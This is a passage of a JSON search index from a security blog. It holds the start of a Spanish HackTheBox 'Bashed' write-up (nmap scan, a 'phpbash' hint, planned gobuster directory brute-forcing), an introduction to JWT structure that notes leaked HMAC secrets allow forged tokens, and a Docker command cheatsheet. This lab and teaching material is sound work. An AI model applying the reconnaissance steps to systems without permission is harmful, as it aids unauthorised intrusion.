id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/bashed/nmap.png\"\u003e\u003c/p\u003e\n\u003cp\u003eComo vemos solo el puerto 80 está abierto, así que investigaremos en la web para ver si encontramos algo interesante\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/bashed/web.png\"\u003e\u003c/p\u003e\n\u003cp\u003eEn la web no encontré nada :,c, pero \u003ccode\u003ephpbash\u003c/code\u003e me da una pista.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/bashed/phpbash.png\"\u003e\u003c/p\u003e\n\u003cp\u003eComo vemos es un frontend normal,pero el nombre \u003ccode\u003ephp bash\u003c/code\u003e es algo sospechoso  al parecer no muestra directorios, por eso le hacemos un \u003ccode\u003ebrute force\u003c/code\u003e para enumerar los directorios con \u003ccode\u003egobuster\u003c/code\u003e.\u003c/p\u003e","title":"HackTheBox Bashed"},{"content":"Some acronyms:\nJOSE: Javascript Object Signing and Encryption The name of the working group JWT: JSON Web TOKEN JWE: JSON Web Encryption JWS: JSON Web Signature JWK: JSON Web Key JWA: JSON Web Algorithm \u0026ldquo;Encryption gives you confidentiality but signature gives you integrity\u0026rdquo;\nJWT has 3 parts separated by a dot:\nHeader (base 64 url encoded without padding(no \u0026lsquo;/\u0026rsquo;, \u0026lsquo;+\u0026rsquo;, \u0026lsquo;=\u0026rsquo;)) Contain an algorithm \u0026ldquo;alg\u0026rdquo; attribute to tell how the token was signed Support a lot of different algorithms (HS256, HS384, HS512, None, \u0026hellip;) Payload (base 64 url encoded without padding no \u0026lsquo;/\u0026rsquo;, \u0026lsquo;+\u0026rsquo;, \u0026lsquo;=\u0026rsquo;)) May contain anything Use registered claims \u0026ldquo;iss\u0026rdquo;: issuer \u0026ldquo;sub\u0026rdquo;: subject \u0026ldquo;aud\u0026rdquo;: audience \u0026ldquo;jti\u0026rdquo;: claim id \u0026ldquo;exp\u0026rdquo;: expiration time \u0026ldquo;nbf\u0026rdquo;: not before \u0026ldquo;iat\u0026rdquo;: issued at Signature (base 64 encoded) The JWT Format: Algorithms\nHMAC: All services need to know the secret\nExample: One client talks to multiple services (application, microservices), if you use HMAC, if one of the server get compromised and the secret code is compromised you can send tampered token to everyone else and you can perform critical actions with that token.\nAsymmetric: you share the private key only to trusted services(login, registration, pass reset)\nIf one of your lower security system get popped nothing happens because the server doesn\u0026rsquo;t has the private key\n","permalink":"https://blog.s4yhii.com/posts/2022-02-17-attacking-json-web-tokens/","summary":"\u003cp\u003eSome acronyms:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eJOSE:\n\u003cul\u003e\n\u003cli\u003eJavascript Object Signing and Encryption\u003c/li\u003e\n\u003cli\u003eThe name of the working group\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJWT: JSON Web TOKEN\u003c/li\u003e\n\u003cli\u003eJWE: JSON Web Encryption\u003c/li\u003e\n\u003cli\u003eJWS: JSON Web Signature\u003c/li\u003e\n\u003cli\u003eJWK: JSON Web Key\u003c/li\u003e\n\u003cli\u003eJWA: JSON Web Algorithm\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u0026ldquo;Encryption gives you confidentiality but signature gives you integrity\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eJWT has 3 parts separated by a dot:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHeader (base 64 url encoded without padding(no \u0026lsquo;/\u0026rsquo;, \u0026lsquo;+\u0026rsquo;, \u0026lsquo;=\u0026rsquo;))\n\u003cul\u003e\n\u003cli\u003eContain an algorithm \u0026ldquo;alg\u0026rdquo; attribute to tell how the token was signed\u003c/li\u003e\n\u003cli\u003eSupport a lot of different algorithms (HS256, HS384, HS512, None, \u0026hellip;)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003ePayload (base 64 url encoded without padding no \u0026lsquo;/\u0026rsquo;, \u0026lsquo;+\u0026rsquo;, \u0026lsquo;=\u0026rsquo;))\n\u003cul\u003e\n\u003cli\u003eMay contain anything\u003c/li\u003e\n\u003cli\u003eUse registered claims\n\u003cul\u003e\n\u003cli\u003e\u0026ldquo;iss\u0026rdquo;: issuer\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;sub\u0026rdquo;: subject\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;aud\u0026rdquo;: audience\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;jti\u0026rdquo;: claim id\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;exp\u0026rdquo;: expiration time\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;nbf\u0026rdquo;: not before\u003c/li\u003e\n\u003cli\u003e\u0026ldquo;iat\u0026rdquo;: issued at\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eSignature (base 64 encoded)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe JWT Format: Algorithms\u003c/p\u003e","title":""},{"content":"\u0026ldquo;With Docker, developers can build any app in any language using any toolchain. “Dockerized” apps are completely portable and can run anywhere - colleagues\u0026rdquo; OS X and Windows laptops, QA servers running Ubuntu in the cloud, and production data center VMs running Red Hat.\nBasic Commands Verified cli can talk to engine\ndocker version Most config values of engine\ndocker info docker ps #see al docker running docker top \u0026lt;name\u0026gt; #see info about the container Docker command line structure\ndocker \u0026lt;command\u0026gt; (options) #old (still works) docker \u0026lt;command\u0026gt; \u0026lt;sub-command\u0026gt; (options) #new Deploy a nginx server\ndocker container run --publish 80:80 nginx List all container running\ndocker container ls \u0026lt;options\u0026gt; Syntax Description \u0026ndash;all, -a Show all containers (default show running) \u0026ndash;filter, -f Filter output based on conditions \u0026ndash;format Pretty-print containers using Go templates \u0026ndash;last, -n Show n last creates containers \u0026ndash;latest, -l Show the latest created container \u0026ndash;no-trunc Dont truncate output \u0026ndash;quiet, -q Only display container ids \u0026ndash;size, -s Display total file sizes Stop the container process but not remove it\ndocker container stop \u0026lt;id\u0026gt; Assign a name to a container\ndocker container run --publish 80:80 --name webhost nginx Show logs for a specific container\ndocker container logs Remove many containers together\ndocker container rm \u0026lt;id\u0026gt; \u0026lt;id\u0026gt; \u0026lt;id\u0026gt; -f #use f for stop the container before ","permalink":"https://blog.s4yhii.com/posts/2022-01-27-docker-cheatsheet/","summary":"\u003cp\u003e\u0026ldquo;With Docker, developers can build any app in any language using any toolchain. “Dockerized” apps are completely portable and can run anywhere - colleagues\u0026rdquo; OS X and Windows laptops, QA servers running Ubuntu in the cloud, and production data center VMs running Red Hat.\u003c/p\u003e\n\u003ch2 id=\"basic-commands\"\u003eBasic Commands\u003c/h2\u003e\n\u003cp\u003eVerified cli can talk to engine\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker version\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMost config values of engine\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker info\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker ps \u003cspan class=\"c1\"\u003e#see al docker running\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker top \u0026lt;name\u0026gt; \u003cspan class=\"c1\"\u003e#see info about the container\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDocker command line structure\u003c/p\u003e","title":"Docker Cheatsheet"}]